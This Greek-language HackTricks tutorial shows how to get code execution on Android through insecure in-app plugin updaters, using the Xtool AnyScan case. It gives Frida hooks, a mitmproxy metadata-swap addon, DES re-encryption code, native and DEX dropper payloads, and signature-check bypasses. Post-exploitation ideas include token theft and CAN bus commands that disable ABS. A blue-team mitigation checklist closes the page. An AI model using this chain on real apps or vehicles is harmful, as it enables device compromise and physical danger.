Ανασφαλείς Μηχανισμοί Ενημέρωσης Εντός Εφαρμογής – Remote Code Execution via Malicious Plugins
Reading time: 10 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Πολλές εφαρμογές Android υλοποιούν δικά τους κανάλια ενημέρωσης «plugin» ή «dynamic feature» αντί να χρησιμοποιούν το Google Play Store. Όταν η υλοποίηση είναι ανασφαλής, ένας επιτιθέμενος που μπορεί να υποκλέψει ή να τροποποιήσει την κυκλοφορία ενημέρωσης μπορεί να παρέχει αυθαίρετο native ή Dalvik/ART code που θα φορτωθεί μέσα στη διεργασία της εφαρμογής, οδηγώντας σε πλήρη Remote Code Execution (RCE) στη συσκευή — και σε ορισμένες περιπτώσεις σε οποιαδήποτε εξωτερική συσκευή που ελέγχεται από την εφαρμογή (cars, IoT, medical devices …).
Αυτή η σελίδα συνοψίζει μια πραγματική αλυσίδα ευπαθειών που βρέθηκε στην εφαρμογή Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) και γενικεύει την τεχνική ώστε να μπορείτε να ελέγξετε άλλες Android εφαρμογές και να εκμεταλλευτείτε τη λανθασμένη διαμόρφωση κατά τη διάρκεια ενός red-team engagement.
0. Γρήγορος έλεγχος: έχει η εφαρμογή in‑app updater;
Στατικά ενδεικτικά που πρέπει να αναζητήσετε σε JADX/apktool:
- Συμβολοσειρές: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Network endpoints όπως
/update
,/plugins
,/getUpdateList
,/GetUpdateListEx
. - Βοηθητικά κρυπτογράφησης κοντά σε μονοπάτια ενημέρωσης (DES/AES/RC4; Base64; JSON/XML packs).
- Δυναμικοί loaders:
System.load
,System.loadLibrary
,dlopen
,DexClassLoader
,PathClassLoader
. - Διαδρομές αποσυμπίεσης που γράφουν under app-internal ή external storage, και στη συνέχεια φορτώνουν αμέσως ένα
.so
/DEX.
Runtime hooks για επιβεβαίωση:
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
1. Αναγνώριση ενός μη ασφαλούς TLS TrustManager
- Decompile το APK με jadx / apktool και εντοπίστε το networking stack (OkHttp, HttpUrlConnection, Retrofit…).
- Αναζητήστε έναν προσαρμοσμένο
TrustManager
ήHostnameVerifier
που τυφλά εμπιστεύεται κάθε πιστοποιητικό:
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
- Αν υπάρχει, η εφαρμογή θα αποδεχτεί οποιοδήποτε TLS certificate → μπορείτε να τρέξετε ένα transparent MITM proxy με ένα self-signed cert:
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
Αν εφαρμόζεται TLS pinning αντί της μη ασφαλούς trust-all logic, δείτε:
Android Anti Instrumentation And Ssl Pinning Bypass
Make APK Accept CA Certificate
2. Reverse-Engineering the Update Metadata
Στην περίπτωση του AnyScan, κάθε εκκίνηση της app προκαλεί ένα HTTPS GET προς:
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
Το σώμα της απάντησης είναι ένα XML έγγραφο των οποίων οι κόμβοι <FileData>
περιέχουν Base64-encoded, DES-ECB encrypted JSON που περιγράφει κάθε διαθέσιμο plugin.
Τυπικά βήματα ανίχνευσης:
- Εντοπίστε τη ρουτίνα κρυπτογράφησης (π.χ.
RemoteServiceProxy
) και ανακτήστε:
- αλγόριθμος (DES / AES / RC4 …)
- τρόπος λειτουργίας (ECB / CBC / GCM …)
- hard-coded key / IV (συνήθως 56‑bit DES ή 128‑bit AES constants)
- Υλοποιήστε ξανά τη συνάρτηση σε Python για να αποκρυπτογραφήσετε / κρυπτογραφήσετε τα μεταδεδομένα:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
Σημειώσεις που παρατηρήθηκαν στο πεδίο (2023–2025):
- Metadata είναι συχνά JSON-within-XML ή protobuf· αδύναμοι αλγόριθμοι κρυπτογράφησης και στατικά κλειδιά είναι συνηθισμένα.
- Πολλοί updaters δέχονται απλό HTTP για τη λήψη του πραγματικού payload ακόμα και αν τα metadata μεταφέρονται μέσω HTTPS.
- Τα plugins συχνά αποσυμπιέζονται σε app-internal storage· μερικά ακόμα χρησιμοποιούν external storage ή legacy
requestLegacyExternalStorage
, επιτρέποντας cross-app tampering.
3. Δημιουργία κακόβουλου plugin
3.1 Native library path (dlopen/System.load[Library])
- Επιλέξτε οποιοδήποτε νόμιμο plugin ZIP και αντικαταστήστε τη native library με το payload σας:
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
- Ενημερώστε τα JSON metadata ώστε το
"FileName" : "PWNED.zip"
και το"DownloadURL"
να δείχνουν στον HTTP server σας. - Re‑encrypt + Base64‑encode το τροποποιημένο JSON και αντιγράψτε το πίσω μέσα στο intercepted XML.
3.2 Διαδρομή plugin βάσει Dex (DexClassLoader)
Ορισμένες εφαρμογές κατεβάζουν ένα JAR/APK και φορτώνουν κώδικα μέσω του DexClassLoader
. Δημιουργήστε έναν κακόβουλο DEX που ενεργοποιείται κατά τη φόρτωση:
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
Εάν ο στόχος καλέσει Class.forName("pwn.Dropper")
, ο στατικός αρχικοποιητής σας εκτελείται· διαφορετικά, απαριθμήστε ανακλαστικά τις φορτωμένες κλάσεις με Frida και καλέστε μια εξαγόμενη μέθοδο.
4. Παράδοση του Payload με mitmproxy
addon.py
παράδειγμα που διακριτικά αντικαθιστά τα αρχικά μεταδεδομένα:
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
Ξεκινήστε έναν απλό web server για να φιλοξενήσει το κακόβουλο ZIP/JAR:
python3 -m http.server 8000 --directory ./payloads
Όταν το θύμα ανοίξει την app θα:
- ανακτήσει το πλαστό XML μας μέσω του MITM channel;
- θα το αποκρυπτογραφήσει & θα το αναλύσει με το hard-coded crypto;
- θα κατεβάσει
PWNED.zip
ήplugin.jar
→ θα το αποσυμπιέσει στον ιδιωτικό χώρο αποθήκευσης; - θα φορτώσει το περιεχόμενο
.so
ή DEX, εκτελώντας άμεσα τον κώδικά μας με τα δικαιώματα της app (camera, GPS, Bluetooth, filesystem, …).
Επειδή το plugin είναι cached στο δίσκο, το backdoor παραμένει μετά από επανεκκινήσεις και τρέχει κάθε φορά που ο χρήστης επιλέγει τη σχετική λειτουργία.
4.1 Παράκαμψη ελέγχων υπογραφής/hash (όταν υπάρχουν)
Εάν ο updater επικυρώνει υπογραφές ή hashes, κάντε hook την επαλήθευση ώστε να αποδέχεται πάντα περιεχόμενο του attacker:
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
Επίσης σκεφτείτε να δημιουργήσετε stubs για μεθόδους vendor όπως PluginVerifier.verifySignature()
, checkHash()
, ή να παρακάμψετε τη λογική ελέγχου ενημερώσεων σε Java ή JNI.
5. Άλλες επιφάνειες επίθεσης στους μηχανισμούς ενημέρωσης (2023–2025)
- Zip Slip path traversal κατά την αποσυμπίεση plugins: κακόβουλες εγγραφές όπως
../../../../data/data/<pkg>/files/target
υπεργράφουν αυθαίρετα αρχεία. Πάντα κάντε sanitization των entry paths και χρησιμοποιήστε allow‑lists. - External storage staging: αν η εφαρμογή γράφει το archive στο external storage πριν το φορτώσει, οποιαδήποτε άλλη εφαρμογή μπορεί να το παραποιήσει. Scoped Storage ή internal app storage αποφεύγουν αυτό.
- Cleartext downloads: metadata μέσω HTTPS αλλά payload μέσω HTTP → straightforward MITM swap.
- Incomplete signature checks: σύγκριση μόνο ενός single file hash, όχι ολόκληρου του archive; μη σύνδεση της υπογραφής με το developer key; αποδοχή οποιουδήποτε RSA key που υπάρχει στο archive.
- React Native / Web‑based OTA content: αν native bridges εκτελούν JS από OTA χωρίς αυστηρό signing, είναι δυνατή arbitrary code execution στο context της εφαρμογής (π.χ. insecure CodePush-like flows). Διασφαλίστε detached update signing και αυστηρή verification.
6. Ιδέες μετά‑εκμετάλλευσης
- Κλέψτε session cookies, OAuth tokens, ή JWTs που αποθηκεύει η εφαρμογή.
- Κατεβάστε ένα second‑stage APK και εγκαταστήστε το αθόρυβα με
pm install
αν είναι δυνατό (κάποιες εφαρμογές ήδη δηλώνουνREQUEST_INSTALL_PACKAGES
). - Κακοχρησιμοποιήστε οποιοδήποτε συνδεδεμένο hardware – στο σενάριο AnyScan μπορείτε να στείλετε arbitrary OBD‑II / CAN bus commands (ξεκλείδωμα θυρών, απενεργοποίηση ABS, κ.λπ.).
Detection & Mitigation Checklist (blue team)
- Αποφύγετε dynamic code loading και out‑of‑store updates. Προτιμήστε Play‑mediated updates. Αν τα dynamic plugins είναι απαραίτητα, σχεδιάστε τα ως data‑only bundles και κρατήστε το executable code στο base APK.
- Εφαρμόστε σωστά TLS: όχι custom trust‑all managers; αναπτύξτε pinning όπου είναι εφικτό και ένα hardened network security config που απαγορεύει cleartext traffic.
- Μην κάνετε download executable code από έξω από το Google Play. Αν πρέπει, χρησιμοποιήστε detached update signing (π.χ., Ed25519/RSA) με ένα developer‑held key και verify πριν το φορτώσετε. Συνδέστε metadata και payload (μήκος, hash, version) και αποτύχετε κλειστά (fail closed).
- Χρησιμοποιήστε σύγχρονη κρυπτογραφία (AES‑GCM) με per‑message nonces για metadata; αφαιρέστε hard‑coded keys από τους clients.
- Επικυρώστε την ακεραιότητα των downloaded archives: επαληθεύστε μια υπογραφή που καλύπτει κάθε αρχείο, ή τουλάχιστον επαληθεύστε ένα manifest με SHA‑256 hashes. Απορρίψτε επιπλέον/άγνωστα αρχεία.
- Αποθηκεύετε τα downloads σε app‑internal storage (ή scoped storage στο Android 10+) και χρησιμοποιήστε file permissions που αποτρέπουν cross‑app tampering.
- Προστατευτείτε από Zip Slip: κανονικοποιήστε και επικυρώστε τα zip entry paths πριν την εξαγωγή· απορρίψτε absolute paths ή
..
segments. - Εξετάστε το Play “Code Transparency” για να επιτρέψετε σε εσάς και στους χρήστες να επαληθεύετε ότι το shipped DEX/native code ταιριάζει με αυτό που χτίσατε (συμπληρώνει αλλά δεν αντικαθιστά το APK signing).
References
- NowSecure – Remote Code Execution Discovered in Xtool AnyScan App
- Android Developers – Dynamic Code Loading (risks and mitigations)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.